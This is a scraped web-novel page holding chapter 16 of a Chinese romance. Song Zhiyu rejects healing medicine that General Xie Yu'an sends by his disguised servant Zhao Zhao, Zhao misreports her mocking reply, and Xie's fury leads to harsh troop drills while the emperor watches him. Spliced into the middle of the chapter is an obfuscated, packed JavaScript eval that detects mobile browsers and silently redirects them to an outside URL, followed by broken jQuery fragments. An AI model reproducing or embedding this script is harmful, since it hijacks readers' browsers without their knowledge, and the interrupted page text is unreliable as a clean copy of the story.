默认冷灰
24号文字
方正启体

16. 第 16 章

作者:卧衔蝉本书字数:K更新时间:
    “多谢将军的好意,但这药还请你拿回去吧。”


    宋知予看着眼前作仆从打扮的赵召,一时竟不知该惊讶于易容之术的精湛,还是该感到恼火。原来一直以来,谢聿安想要进出宋府竟然如此容易。


    因为这点憋闷的情绪,她说话的语气也不禁冷了一些。


    “宋二姑娘竟是要拒绝?”赵召不可置信,怕是自己刚才口齿不清,故而又解释了一遍:


    “姑娘是在我家主子府中受的伤,主子一直心有不安,惦记着姑娘的伤势,故而他特意让我来为姑娘送药。这金创药是松海国进贡的贡品,不仅能愈伤,更能防止伤口留疤,举国上下也只有三瓶,两瓶收在宫中,而这一瓶还是陛下惦记主子在北境时留下的旧伤,亲赐的宝药!”


    赵召见宋知予竟然还是神色淡淡,沉默不语,一时也有些急火。


    “姑娘可是怨主子耽搁了两天?其实这药早就打算送来了,只是我今日才找机会混进来……”


    屋外不远处人影晃动,宋知予心思不在此处,打断他:


    “既然这药如此珍贵,更不必浪费在我这种小伤上了。况且你贸然进府,若被人发现你与我在此相见,只怕一时说不清楚。还望你回去替我向将军说声多谢,公子武功高强,想必可以平安出府,我便不再相送了。”


    赵召见她竟然是推门要走,惊讶又变成了不忿,闪身挡在了门前。


    在他心里,谢聿安是杀遍北境仇敌的大英雄,多少女子主动献媚都不曾被多看一眼。如今,无论主子爷对这宋知予是何种心思,但这样对一个女子示好还是头一次。可这宋知予竟然如此不领情!


    “那日之事,我家主子也算是为了维护姑娘顶撞了公主。宋二姑娘虽然受了委屈,却也不是我家主子造成的,你这样迁怒于人,又可算得上名门淑女做得出的事?”


    “我当姑娘是个聪明人,怎么谁对姑娘好都分不清楚?今日进府,满屋绫罗绸缎,唯独姑娘一人素衣坐在角落,额头上的伤也明显没有好好处理过,想必是不受父母珍视。我家主子与姑娘非亲非故,却独独惦记着姑娘的伤,姑娘怎的还不领情?”


    “如今看来,姑娘不但不聪明,还是个眼盲心盲的人!当真令人心寒!”


    他义愤填膺地说完,却听宋知予极轻地笑了一声,倒是笑得赵召一愣。


    “你说得对,我确实不是什么‘名门淑女’。”


    赵召愣愣地看着她,只觉得对方一向温和的眼睛,此时仍旧平静,却在一瞬间变得狭长,莫名凉嗖嗖、冷津津的……很熟悉,就像是……


    ……像是谢聿安动怒前的神情。


    赵召忍不住咽了口唾沫。


    *


    谢府。


    谢聿安从外面回来,路过正堂,便见他母亲李三娘愁眉苦脸地坐着。他脚步一顿,扭身就往相反的方向走。


    “谢二狗!你给我回来!”李三娘拍案怒骂,整个府院的下人们都抖了三抖。谢聿安认命地转回身。


    连她最嫌弃他的土名都叫出来了,可见是气得不轻。


    一旁他的亲爹谢宝柱幸灾乐祸地看着自己儿子。


    “阿娘这是刚从宫里回来?”谢聿安装作无事发生,大喇喇地往一旁一坐。


    “兔崽子,你还有脸问!”


    李三娘现在看见他就来气。跟儿子进京这两三年,本以为是来享荣华富贵的,但三天两头被召进宫,说是陪皇后娘娘和各宫妃子看花赏月、谈天说地。其实就是变相地提点、打压,催着她赶紧给自己儿子娶门亲事。


    李三娘一开始还觉得宫中新鲜、长脸,但去了两三次便知道自己与宫中贵人不是一路人。她们吟诗谈画,她一概听不懂,看花看树又欣赏不动,关键还得想尽办法哄这群祖宗开心,每次进趟宫都觉得自己要脱一层皮!


    “你瞧瞧!又让你老娘带了一堆画像回来,不知道的还以为咱们家是干什么营生的,成日里对各家姑娘的画像挑来捡去的!”李三娘指着桌案上的一摞画轴。


    谢聿安目光懒洋洋地斜扫,却猛然顿住。


    李三娘瞧见自己儿子这样的神情,心中一动,顺着他的目光,拿起一副展开的画轴,“这位姑娘倒是长得水灵,看着也是个乖巧听话的。”


    谢宝柱凑过来,偎在她身边,“这画不是之前儿子让丢掉的那批中的吗?怎么你又给捡回来了。”


    李三娘白了他一眼,“他说让我干什么我便干什么?就是不喜欢,姑娘家的画像怎么能说丢就丢,岂不是对人不尊敬。”


    说着,又偷偷抬眼看谢聿安的反应,见他竟一反常态的沉默不语,李三娘身子往后一仰,把那画像高高举起,高声叹一句:“幸亏是没丢!我看这姑娘倒是比其他画上的姑娘都要漂亮。”


    谢宝柱想了半晌,猛地一拍手,“这个我记得,好像是宋家的。可是我听说……这画与真人不符,那人脸上好像是受过伤。”


    “竟有这种事?”李三娘讶异。转而又嘟囔,“原本想把之前挑过的画像都送还回宫中去,毕竟咱们私自收着姑娘家的画像并不好。只是听你说这宋姑娘的画像作伪,若送回去,倒像是显得咱们家嫌弃人家一样,没得再伤了她的心……”


    “收着吧。”


    沉默了许久的谢聿安猛不丁地开口,倒是将谢宝柱和李三娘都惊了一下,两人沉默地交换了一个眼神。


    门口,赵召卸了伪装猫着腰进院子,便要溜着往后院里去。


    “咱们府里的人都什么德行,一个个回自己家像做贼似的,你做主子的也不管管……”李三娘正要转头唠叨自己儿子,却见刚才歪坐在圈椅里人不知何时起了身,已经阔步向后院的方向去了。


    “她说不需要?”谢聿安捏着手中的瓷瓶问。


    赵召盯着眼前面无表情的谢聿安,感觉自己后颈的汗毛都立了起来,“是…是啊,宋姑娘听说了主子的关心,感动得都有些手足无措了。只是她觉得这药太贵重,不敢收,让跟将军道声谢,还夸将军真是为人正直又善良,令人……令人仰慕。”


    眼前沉思的人,慢悠悠掀起眼帘,一双眸子盯了过来。赵召头皮发紧,又忍不住咽了口唾沫。


    “赵召,战场上谎报军情是何处罚?”


    赵召几乎要立刻跪下求饶了,挤出一个比哭还难看的笑,“……爷,我真没诓您……”


    谢聿安不语,只眼神淡漠地盯着他。


    赵召终于坚持不住,站直了身子,将实话一个字一个字地从嗓子眼里挤了出来。


    “宋姑娘让转告您,‘这么珍稀的药都能随手送人,可见将军是刀枪不入、不惧生死的铁血英雄,实在值得人仰慕。’”


    “……还说,‘但将军既然是英雄,怎么不在战场上叱咤风云,反倒连姑娘家磕破了额角都如此关心……’”


    “‘若非是认识将军,我倒要以为你是什么游手好闲的江湖药贩。……若是将军打算弃武从医,将来遇见哪个丫鬟或友人割破了手、冻伤了脸,我一定记得告知将军的名号……就当是,照顾将军的生意了,可好?’”


    他闭着眼梗着脖子说完这些话,半天没有听到谢聿安发出动静,才敢睁开一只眼。


    只见提刀杀人时都神色自如的谢聿安,此时铁青着一张脸,攥着药瓶的那只手青筋暴起。


    赵召吓得一激灵,连忙下跪大呼:“爷可千万别动怒!宋姑娘也许只是玩笑话,才不是在讽刺将军多管闲事、游手好闲……”


    转口又说:“爷要动怒也等见了宋姑娘再与她算账!总归是那女子不识好歹,浪费了爷的一番用心啊!”


    谢聿安几乎是咬着牙笑了一声,冷声驳斥道:


    “谁对她用心?不过是看她在府中受伤,心里过意不去罢了。她不愿意要就算了,倒省得浪费了我的药,有什么值得动怒的?”


    赵召连忙狗腿地改口道:“是,是!咱们爷是什么人?连北蛮屡次挑衅都难以激怒,怎么会为了宋家那小小一女子牵绊心神?”


    赵召抬眼,见谢聿安扭身要走,心里刚松口气,擦了擦额上的汗,刚准备起身,见冷着脸的人去而复返,又连忙扑通跪下。


    “这劳什子留着也无用,拿去丢了!”


    赵召连忙接下他抛过来的东西,一看果然是那金疮药,立刻又苦了脸,只是这次却不敢再因为心疼药而顶什么嘴,连声应是。


    等人走了,赵召才唉声叹气,琢磨着主子在气头上丢了这宝药实在浪费。便悄悄拿着小铲子在后院花园挖了个洞,将那药埋起来。


    这丢在找得到的地方,也算丢吧……</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319102|199023||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    谁知他刚忙活完,直起腰擦汗,伺候谢聿安起居的一名小厮便一路小跑过来传话,说谢聿安喊他到府中练武场去。


    “爷说谢家的弟兄们在京城呆了两年,许是连手上拳脚都忘了,今日天气正好,让你带着大家去操练操练。”


    赵召抬头看了看天上毒辣的日头,“……爷当真是这么说的?”


    小厮点了点头,又摇了摇头,“爷脸色难看得很,奴才没敢多问。”


    “……”


    谢聿安身为将军,虽然宫中从不禁止养少量亲兵,但自从回了京,为免引起不必要的猜忌与麻烦,从北方带回来的那些亲兵都被放养在府中各种杂务上。赵召此前多次提醒过他,若呆的时间久了,有些人恐怕会被京城安逸的日子磨平性子,将来若再要回去,恐怕就难了。


    那时,谢聿安答得散漫而睥睨:“能活下来跟着回京的,若真这么容易就成了软骨头,早就被蛮子砍成肉泥了。”


    如今……


    赵召不敢磨蹭,苦着脸去了偏院的练武场,还没来得及吩咐去召集众人,当面便是破风一剑袭来!他侧身堪堪闪过,再慢一下,他的这张脸就直接被劈成两半了!


    “疏于拳脚,当真成了草包。”谢聿安玄衣持剑,身形如狼,眼风却凌厉如刀,说话间,反手挽花又是一剑冲他腰身劈来!


    赵召顿时不敢再懒散,眉宇压低,提身闪避。


    近百斤的重剑在谢聿安手中,竟似与他神魂一体,劈、砍、刺、挑,行云流水间却是剑剑杀招!赵召咬牙闪躲,招架不及,瞬间被逼至角落。他余光一扫,见自己常用的斧子就搁在一旁,连忙翻身躲过一剑,提斧斜劈,斧子与剑相撞出“铮”的一声,谢聿安的虎口被震裂出一道极深的口子,鲜血溅在衣衫和谢聿安的脸上,赵召才看到他眼中沉郁之色微微散去,取而代之的是一种嗜血的兴奋。


    宫中,暗卫得到通传后,进殿禀事。


    宁文帝拿奏折的手微滞,“此事当真?”


    暗卫神情严肃,抱拳禀明,“事关重大,不敢有所欺瞒。盯着将军府的人通传,谢聿安一连三日召集府兵操练,从晨起到半夜,刻苦不怠,甚至不思饮食。”


    “陛下,谢聿安这样事出反常,可要先下手制之?”


    宁文帝拧眉沉思,半晌道:


    “他若有反心,必不会如此招摇让你的人发现。他虽性子狂妄,但不蠢,也无心权势。”


    “你只管派人盯着,有什么异动,及时来报即可。”


    “奴才遵命。”


    于是,一连四五日,有关将军府的信报犹如落花飞雪一般接连不断地飘进宫中。


    “陛下,谢将军今日带府兵到龙钥卫上值,抓住旷职者三人,当值时喝酒闲聊者五人,皆被谢将军以罚俸打板处置,打的是……手心。”


    “陛下,谢将军今日突袭春风楼,将混迹勾栏的官家子弟揪出训斥,其中涉嫌欺男霸女之人,被褪去衣裤,于楼外游市……”


    那些被谢聿安欺凌的官员、世家,也一个个苦着张脸,在宁文帝书房外鬼哭狼嚎,痛斥谢聿安的不法之行,要求宁文帝为其主持公道。


    宁文帝听谢聿安的名字听得头疼,忍无可忍,将谢聿安叫进宫中训斥了一顿。偏偏他这个罪魁祸首还一副无所谓的模样。


    “陛下授予我龙钥卫之职,既不许我动那些贪赃枉法之徒,也不准我对那些懒散渎职、行事不端的人小惩大诫,倒不如打发我回北方去,彼此落个清净。”


    宁文帝拿他没办法,只能气得瞪眼,将参他的奏折一通砸下,“滚滚滚!滚回府里去思过,少来这儿气朕!”


    谢聿安被勒令在府中静心思过一个月,不仅京城里的风浪安歇了下去,连赵召也总算能喘口气,不用成日再被谢聿安折腾。


    谢聿安软禁府中的这段日子,赵召每日帮府中扫洒、烧饭,乐不思蜀,从没有觉得干杂活也是如此快乐的事。


    直到大半个月过去,谢聿安终于回过劲儿来,反应过来事情的蹊跷。


    这日,赵召正帮着府中的小厨娘搬柴火,突然感觉后心一阵凉嗖嗖的,僵着脖子扭回头,便见谢聿安像个鬼一样负手站在他身后。


    “赵召,你如实说来。那日让你去宋府送药,你究竟是怎么说的?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)